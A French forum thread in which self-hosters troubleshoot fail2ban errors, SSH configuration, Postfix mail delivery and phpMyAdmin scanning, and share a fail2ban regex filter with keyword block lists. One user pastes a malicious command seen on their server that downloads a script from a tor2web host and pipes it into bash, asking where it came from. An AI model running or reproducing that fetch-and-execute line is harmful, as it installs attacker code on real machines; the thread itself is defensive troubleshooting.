• Serveurs
  • [Discussion] : Sécurisation & Logs {nginx} {lighttpd}

Bonjour,

Merci pour vos réponses, mais je ne vois pas trop ce qui pourrais m'aider 🙃 ❓ ❔
shyne Je pense que ta réponse ne m'était pas destinée 😅 mais que c'était plutôt pour Peerotechnik

Wagner La seule ressemblance que je trouve est celle avec therealcorwin et je ne vois pas de solution (j'ai déjà essayé le stop/start, cela ne change rien). Au passage, à quoi sert la commande fail2ban-client -t ❓

Pour remettre une explication claire du "soucis" :
Dans mon fichier /var/log/fail2ban.log, j'ai les lignes suivantes qui reviennent toutes les 5 minutes :

2017-10-30 12:25:15,591 fail2ban.transmitter    [17347]: WARNING Command ['status', 'list:'] has failed. Received UnknownJailException('list:',)
2017-10-30 12:25:15,514 fail2ban.transmitter    [17347]: WARNING Command ['status', 'Jail'] has failed. Received UnknownJailException('Jail',)
2017-10-30 12:25:15,253 fail2ban.transmitter    [17347]: WARNING Command ['status', '`-'] has failed. Received UnknownJailException('`-',)

J'utilise Fail2Ban v0.9.6 sur Debian 9.

Je vois pas trop où chercher ... Je pense que je vais commencer par mes Cron car l'erreur étant précisément toutes les 5 minutes, peut être que ... 🤔

    Bonjour,

    de rien @Vendetta1985 et c'est la même optique : "la détection d'erreur" mais c'est probablement très très très limité... Qui sait un jour cela aura peut-être grandement bien évolué.

    @otello86 elles sont bien toujours là [...]

    Argh je n'avais pas vu celui-ci alors j'ai cru à tort qu'il l'avait résolu.

    @otello86 [...] ajouter une section [ssh]

    Toutefois, cela me donne l'impression qu'il y avait une erreur de syntaxe (le nom de la jail ? Une coquille).
    Je ne serais le dire mais nous pourrions éliminer cette piste grâce à la liste des jails (que nous pouvons obtenir via fail2ban-client status) et un extrait du fichier jail.local (j'imagine que le nom seule pourrait convenir).

    @otello86 Command ['status', 'Jail'] has failed. Received UnknownJailException('Jail',)
    Command ['status', '-'] has failed. Received UnknownJailException('-',)
    Command ['status', 'list:'] has failed. Received UnknownJailException('list:',)

    À moins que cela soit la version ? Depuis quelques mois, je me sers Fail2Ban_v0.11 alors je le crains, non je ne pourrais probablement pas regarder.

    25 jours plus tard

    Bonsoir.
    J'ai pas mal de souci depuis quelque temps à la réception des mails sur une boite Gmail.
    Chose étonnante quand je test

     echo 'Salut, je suis un email.' | mail -s 'Hello world' root

    je ne reçois rien par contre pas de problème sur la réception du mail pour me signaler la connexion root.

    Avez vous constaté aussi ce problème.

      2 mois plus tard

      dam

      J'ai le même problème.

      Je précise qu'avant la redirection des mails "root" le serveur mail fonctionnait, c'est dès que je rajoute

       root: mon_email@gmail.com 

      ... que je ne reçois plus d'email de confirmation en test.

      À ma 1re installation tout a bien fonctionné, mais à ma 2e (raz) plus du tout.

      • dam a répondu à ça.
        12 jours plus tard

        Peerotechnik

        Bonjour.
        Finalement moi je n'ai plus de problème. Par contre quelques fois il m'arrive de recevoir un mail de ce type

         Objet :	Cron <root@ns.....> test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
        /etc/cron.daily/logrotate:
        ERROR  Unable to contact server. Is it running?
        error: error running non-shared postrotate script for /var/log/fail2ban.log of '/var/log/fail2ban.log '
        run-parts: /etc/cron.daily/logrotate exited with return code 1

        Plus de soucis avec

        Fail2Ban v0.11.0.dev1

        J'ai suivi se tuto, mon jail.local

        fail2ban-client status
        Status
        |- Number of jail:      4
        `- Jail list:   nginx-auth, nginx-badbots, ssh, vsftpd
        tail -f /var/log/fail2ban.log
        2018-02-06 14:00:36,683 fail2ban.filter         [22626]: INFO    Added logfile: '/var/log/nginx/rutorrent-access.log' (pos = 36433, hash = ea764a7508e2a9fd1fe8983c78ed8dc6)
        2018-02-06 14:00:36,684 fail2ban.filter         [22626]: INFO    Added logfile: '/var/log/nginx/access.log' (pos = 0, hash = d41d8cd98f00b204e9800998ecf8427e)
        2018-02-06 14:00:36,685 fail2ban.filter         [22626]: INFO      maxRetry: 5
        2018-02-06 14:00:36,685 fail2ban.filter         [22626]: INFO      encoding: ANSI_X3.4-1968
        2018-02-06 14:00:36,685 fail2ban.actions        [22626]: INFO      banTime: 600
        2018-02-06 14:00:36,686 fail2ban.filter         [22626]: INFO      findtime: 600
        2018-02-06 14:00:36,689 fail2ban.jail           [22626]: INFO    Jail 'vsftpd' started
        2018-02-06 14:00:36,689 fail2ban.jail           [22626]: INFO    Jail 'ssh' started
        2018-02-06 14:00:36,690 fail2ban.jail           [22626]: INFO    Jail 'nginx-auth' started
        2018-02-06 14:00:36,691 fail2ban.jail           [22626]: INFO    Jail 'nginx-badbots' started
        un mois plus tard

        Pour le bannissement en tapant ban + IP à bannir :

        Est-il possible de bannir une plage d'IP de par exemple: 26.16.0.0 à 26.16.256.256 ?
        Si oui comment taper cette plage ?

        ou faut-il directement aller sur iptables ?

        Merci

        7 jours plus tard

        Re... 😉

        J'ai un "petit" souci avec ma sécurisation SSH. Je n'arrive ni à changer mon port, ni interdire la connexion "non root", ni à permettre un nouvel utilisateur pour la connexion SSH.

        Pour commencer: si je change seulement le port 22 en port xxxxx, déjà là je ne peux plus me connecter avec la console. Je précise que plusieurs ports ont été testés et que le restart de SSH a été fait.

        /etc/init.d/ssh restart

        Je publie mon fichier de config. de SSH pour voir si une ou plusieurs incorrections y figurent.
        <utilisateur-nouveau> = le nom de utilisateur créer pour la connexion SSH. (décommentée si le besoin est)
        Match user <utilisateur-rutorrent> = utilisateur créé pour le rutorrent

        nano /etc/ssh/sshd_config

        Mon SSH

        # Package generated configuration file
        # See the sshd_config(5) manpage for details
        
        # What ports, IPs and protocols we listen for
        Port 22
        # Use these options to restrict which interfaces/protocols sshd will bind to
        #ListenAddress ::
        #ListenAddress 0.0.0.0
        Protocol 2
        # HostKeys for protocol version 2
        HostKey /etc/ssh/ssh_host_rsa_key
        HostKey /etc/ssh/ssh_host_dsa_key
        HostKey /etc/ssh/ssh_host_ecdsa_key
        HostKey /etc/ssh/ssh_host_ed25519_key
        #Privilege Separation is turned on for security
        UsePrivilegeSeparation yes
        
        # Lifetime and size of ephemeral version 1 server key
        KeyRegenerationInterval 3600
        ServerKeyBits 1024
        
        # Logging
        SyslogFacility AUTH
        LogLevel INFO
        
        # Authentication:
        LoginGraceTime 120
        PermitRootLogin yes
        StrictModes yes
        # Choix des utilisateurs autorisés à se connecter,
        # Ajouter nouvel user qu'on a créé plus haut.
        # AllowUsers <utilisateur-nouveau>
        
        RSAAuthentication yes
        PubkeyAuthentication yes
        #AuthorizedKeysFile     %h/.ssh/authorized_keys
        
        # Don't read the user's ~/.rhosts and ~/.shosts files
        IgnoreRhosts yes
        # For this to work you will also need host keys in /etc/ssh_known_hosts
        RhostsRSAAuthentication no
        # similar for protocol version 2
        HostbasedAuthentication no
        # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
        #IgnoreUserKnownHosts yes
        
        # To enable empty passwords, change to yes (NOT RECOMMENDED)
        PermitEmptyPasswords no
        
        # Change to yes to enable challenge-response passwords (beware issues with
        # some PAM modules and threads)
        ChallengeResponseAuthentication no
        
        # Change to no to disable tunnelled clear text passwords
        #PasswordAuthentication yes
        
        # Kerberos options
        #KerberosAuthentication no
        #KerberosGetAFSToken no
        #KerberosOrLocalPasswd yes
        #KerberosTicketCleanup yes
        
        # GSSAPI options
        #GSSAPIAuthentication no
        #GSSAPICleanupCredentials yes
        
        X11Forwarding yes
        X11DisplayOffset 10
        PrintMotd no
        PrintLastLog yes
        TCPKeepAlive yes
        #UseLogin no
        
        #MaxStartups 10:30:60
        #Banner /etc/issue.net
        
        # Allow client to pass locale environment variables
        AcceptEnv LANG LC_*
        
        #Subsystem sftp /usr/lib/openssh/sftp-server
        Subsystem sftp internal-sftp
        
        # Set this to 'yes' to enable PAM authentication, account processing,
        # and session processing. If this is enabled, PAM authentication will
        # be allowed through the ChallengeResponseAuthentication and
        # PasswordAuthentication.  Depending on your PAM configuration,
        # PAM authentication via ChallengeResponseAuthentication may bypass
        # the setting of "PermitRootLogin without-password".
        # If you just want the PAM account and session checks to run without
        # PAM authentication, then enable this but set PasswordAuthentication
        # and ChallengeResponseAuthentication to 'no'.
        UsePAM yes
        
        Match user <utilisateur-rutorrent> # etc... note : pas d'espace entre les virgules
        ChrootDirectory %h
        

        Salut,

        non désolé @Peerotechnik je ne vois rien qui cloche. Néanmoins, j'espère que quelqu'un d'autre la verra car là je passe mon tour (fatigue, IRL etc).
        Et puis, c'est assez étrange car cela devrait fonctionner (un exemple : le changement de port ne m'a jamais causé de souci et ce depuis Debian 6 (aka Squeeze)).

          2 mois plus tard

          Des avis sur suricata ? Grosso modo, l'aventurier est en vacances (a priori il doit manquer des informations).

          Tandis qu'au sujet de F2B (aka Fail2Ban), un jour il faudra revoir ça sic... Parce que dès fois, il ne réagit pas assez rapidement (un souci lié aux regex ?).

          Voici une (re)copie (ultra récente) des logs :

          [14/May/2018:10:22:37 +0200] "GET /phpmyadmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:38 +0200] "GET /phpMyAdmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:39 +0200] "GET /pmd/index.php HTTP/1.1" 404
          [14/May/2018:10:22:40 +0200] "GET /pma/index.php HTTP/1.1" 404
          [14/May/2018:10:22:40 +0200] "GET /PMA/index.php HTTP/1.1" 404
          [14/May/2018:10:22:41 +0200] "GET /PMA2/index.php HTTP/1.1" 404
          [14/May/2018:10:22:41 +0200] "GET /pmamy/index.php HTTP/1.1" 404
          [14/May/2018:10:22:41 +0200] "GET /pmamy2/index.php HTTP/1.1" 404
          [14/May/2018:10:22:42 +0200] "GET /mysql/index.php HTTP/1.1" 404
          [14/May/2018:10:22:42 +0200] "GET /admin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:42 +0200] "GET /db/index.php HTTP/1.1" 404
          [14/May/2018:10:22:42 +0200] "GET /dbadmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:43 +0200] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:43 +0200] "GET /admin/pma/index.php HTTP/1.1" 404
          [14/May/2018:10:22:43 +0200] "GET /admin/PMA/index.php HTTP/1.1" 404
          [14/May/2018:10:22:43 +0200] "GET /admin/mysql/index.php HTTP/1.1" 404
          [14/May/2018:10:22:44 +0200] "GET /admin/mysql2/index.php HTTP/1.1" 404
          [14/May/2018:10:22:45 +0200] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:45 +0200] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:45 +0200] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404
          [14/May/2018:10:22:46 +0200] "GET /mysqladmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:46 +0200] "GET /mysql-admin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:47 +0200] "GET /phpadmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:47 +0200] "GET /phpmyadmin0/index.php HTTP/1.1" 404
          [14/May/2018:10:22:47 +0200] "GET /phpmyadmin1/index.php HTTP/1.1" 404
          [14/May/2018:10:22:49 +0200] "GET /phpmyadmin2/index.php HTTP/1.1" 404
          [14/May/2018:10:22:49 +0200] "GET /myadmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:49 +0200] "GET /myadmin2/index.php HTTP/1.1" 404
          [14/May/2018:10:22:50 +0200] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:50 +0200] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404
          [14/May/2018:10:22:50 +0200] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:50 +0200] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:51 +0200] "GET /phpmyadmin-old/index.php HTTP/1.1" 404
          [14/May/2018:10:22:51 +0200] "GET /phpMyAdminold/index.php HTTP/1.1" 404
          [14/May/2018:10:22:52 +0200] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404
          [14/May/2018:10:22:52 +0200] "GET /pma-old/index.php HTTP/1.1" 404
          [14/May/2018:10:22:53 +0200] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:53 +0200] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:53 +0200] "GET /phpma/index.php HTTP/1.1" 404
          [14/May/2018:10:22:53 +0200] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404
          [14/May/2018:10:22:54 +0200] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404

          Auquel je rajoute un exemple de filtre (grâce aux regex) :

          ##Il doit être possible de le simplifier (ou alors le rendre nettement plus lisible et efficace).
          ##Je m'y connais assez peu dans ce domaine (j'entends les regex)...
          ##-------------------------------------------##
          FirstList = admin|dbadmin|myadmin|mysql|sql
          SecondList = probethenet|soapcaller|x00cookie
          ThirdList = manager|msd1.24stable|muieblackcat|soapcaller|shopdb|sqlmanager|mysqlmanager|mysqldumper
          ScriptList = command.php|common.cgi|getcfg.php|hndUnblock.cgi|tmUnblock.cgi
          FiveList = pma|phpadmin|phpmyadmin|phpmy|php-my-admin|2phpmyadmin|phpmyadmin4|phppma|php-myadmin|phpmy-admin
          AboutCMSList = database|db|joomla|cms|jenkins|jmx-console
          StangeList = wallet|wp
          ##-------------------------------------------##
          ElementToBlocks = (<FirstList>|<SecondList>|<ThirdList>|<ScriptList>|<FiveList>|<AboutCMSList>|<StangeList>)
          failregex = no user/password was provided for basic authentication.client: <HOST>
          user .
          was not found in.client: <HOST>
          user .
          password mismatch.client: <HOST>
          (?i)<HOST> .
          "(GET|POST|HEAD|USER|CONNECT) .(%(ElementToBlocks)s). HTTP." (400|403|404|405|406|444) .$

          Le fichier jail.local est censé les bloquer (ou bannir car il est configuré comme tel maxretry = 8 ou maxretry = 16).
          Donc, il y a un problème avec Fail2Ban car d'après les logs, il y a près de 40 requêtes qui passe avant qu'il remplisse son rôle (bannir).
          À moins que le problème soit lié à Nginx (la limitation de nombre de requête, etc) ?

          NB : Oublier PSAD car grosso modo, il n'y a aucun support.

          21 jours plus tard
          /bin/sh -c wget -qO- -U- https://httpsxztdjm2vrpw.tor2web.io/i.sh|bash
          wget -qO- -U- https://httpsxztdjm2vrpw.tor2web.io/i.sh

          Quelqu'un aurait une idée d'où cela provient ?
          Une autre lacunes de Fail2Ban ? Pourtant, cela trourne en boucle (les ban à cause des très nombreuses 404).

          Mauvaise nouvelle car le prestataire a choisi d'opter pour la prudence alors elle est presque totalement bloquer. Certes, je peux y accéder (temporairement) mais a priori les logs ne sont pas très parlant sic...
          Une solution temporaire ?

          kill -9 `pgrep wget`;

          En attendant de trouver mieux car je commence à croire que Fail2Ban à vraiment besoin d'être améliorer. Disons que j'ai juste redémarrer la machine et il y a de noouveau bugger dès le départ : fail2ban-client start sic...Comment il fait pour effacer son propre dossier ? C'est n'importe quoi là sic...

          Bonjour,

          Je ne connais pas ce type de filtre regex pour Fail2ban.

          Voici celle que j'ai avec le script Bonobox, et il fonctionne bien :

          filtre regex badbots

          un mois plus tard

          Bonjour,

          tout d'abord navré @Nebukad pour cette réponse très tardive. Non je n'ai pas oublié car je n'ai pas le temps (etc) de m'occcuper de ce problème.
          Non Il n'y a eu aucun souci auparavant (sur ces 8 derniers mois) alors j'ai du mal à le comprendre sic... Il s'est passé quoi ? Aucune idée car non les logs ne sont pas très parlant sic...

          Au fond, nous avons la même chose. Parce que la seule différence : c'est la syntaxe (via les regex dont j'ai déjà donné un exemple dans un message précédent).
          En dehors de ça, ma liste est légèrement plus longue (plus de cible) mais Fail2Ban aurait-il encore buggé ? C'est possible car je m'en souviens encore et oui je l'ai déjà signaler (même 2 ou 3 fois) sic... Cependant, il ne fut pas corrigé car j'ai vérifier (quelques fois) ces derniers mois sic...

          À moins que le souci ne provienne de iptables ? J'ai découvert qu'il était totalement vide contrairement à Fail2Ban.
          Au sujet de Suricata, il n'y a toujours personne ? Enfin s'il reste un aventurier fou dans les parages MDR Diantre, il aurait pu faire un effort concernant la documentation (de nos jours, elle semble assez obsolète etc).

          J'ai déjà pensé à Ossec mais il faudrait une meilleur interface (j'ai beaucoup de mal avec le langage XML car comme on dit : cela n'est pas ma tasse de thé) sic...

          Enfin bref, je donnerais des nouvelles plus tard. Disons que pour l'instant, j'ai divers souci IRL à résoudre...

          3 mois plus tard

          Bonjour,

          J'ai un souci que je n'arrive pas à résoudre.
          J'ai suivi la partie du tuto pour postfix mais impossible d'envoyer un email. Je ne comprends pas pourquoi.
          Je cherche à l'installer sur un Raspberry Pi hébergé chez moi, mais rien ne marche.

          Au début j'ai pensé que cela était due au fait que mon Raspberry Pi étant dans une DMZ. Donc j'ai suivi le tuto pour un autre dans mon réseau local. Cela ne change rien.

          J'ai toujours le mm message d'erreur:

          Oct 11 12:16:03 HOSTNAME postfix/postfix-script[17384]: starting the Postfix mail system
          Oct 11 12:16:03 HOSTNAME postfix/master[17386]: daemon started -- version 3.1.8, configuration /etc/postfix
          Oct 11 12:16:08 HOSTNAME postfix/pickup[17387]: 2166160E2A: uid=0 from=<root@HOSTNAME>
          Oct 11 12:16:08 HOSTNAME postfix/cleanup[17412]: 2166160E2A: message-id=<20181011101608.2166160E2A@HOSTNAME.lan>
          Oct 11 12:16:08 HOSTNAME postfix/qmgr[17388]: 2166160E2A: from=<root@HOSTNAME>, size=392, nrcpt=1 (queue active)
          Oct 11 12:16:38 HOSTNAME postfix/smtp[17414]: connect to gmail-smtp-in.l.google.com[173.194.76.27]:25: Connection timed out
          Oct 11 12:17:08 HOSTNAME postfix/smtp[17414]: connect to alt1.gmail-smtp-in.l.google.com[64.233.165.26]:25: Connection timed out
          Oct 11 12:17:38 v postfix/smtp[17414]: connect to alt2.gmail-smtp-in.l.google.com[74.125.68.27]:25: Connection timed out
          Oct 11 12:18:08 HOSTNAME postfix/smtp[17414]: connect to alt3.gmail-smtp-in.l.google.com[108.177.125.26]:25: Connection timed out
          Oct 11 12:18:38 HOSTNAME postfix/smtp[17414]: connect to alt4.gmail-smtp-in.l.google.com[74.125.195.27]:25: Connection timed out
          Oct 11 12:18:38 HOSTNAME postfix/smtp[17414]: 2166160E2A: to=<mymail@gmail.com>, relay=none, delay=151, delays=0.24/0.11/150/0, dsn=4.4.1, status=deferred (connect to alt4.gmail-smtp-in.l.google.com[74.125.195.27]:25: Connection timed out)

          Merci pour votre aide

            Magicalex Merci pour les infos, et pour la balise que tu as rajouté.
            Le tuto date en effet, mais marchait très bien avant 🙂

            Comme c'est pour un Raspberry Pi, je suis pas trop fan de docker.

            Merci pour ta réponse

            Salut
            J'ai utilisé la partie "mail" il y a deux jours sur mon nouveau Kim' et pas de soucis d'install', les mail sortent bien.
            Le problème doit être ailleurs mais je ne peux pas t'en dire plus, désolé.
            Ex.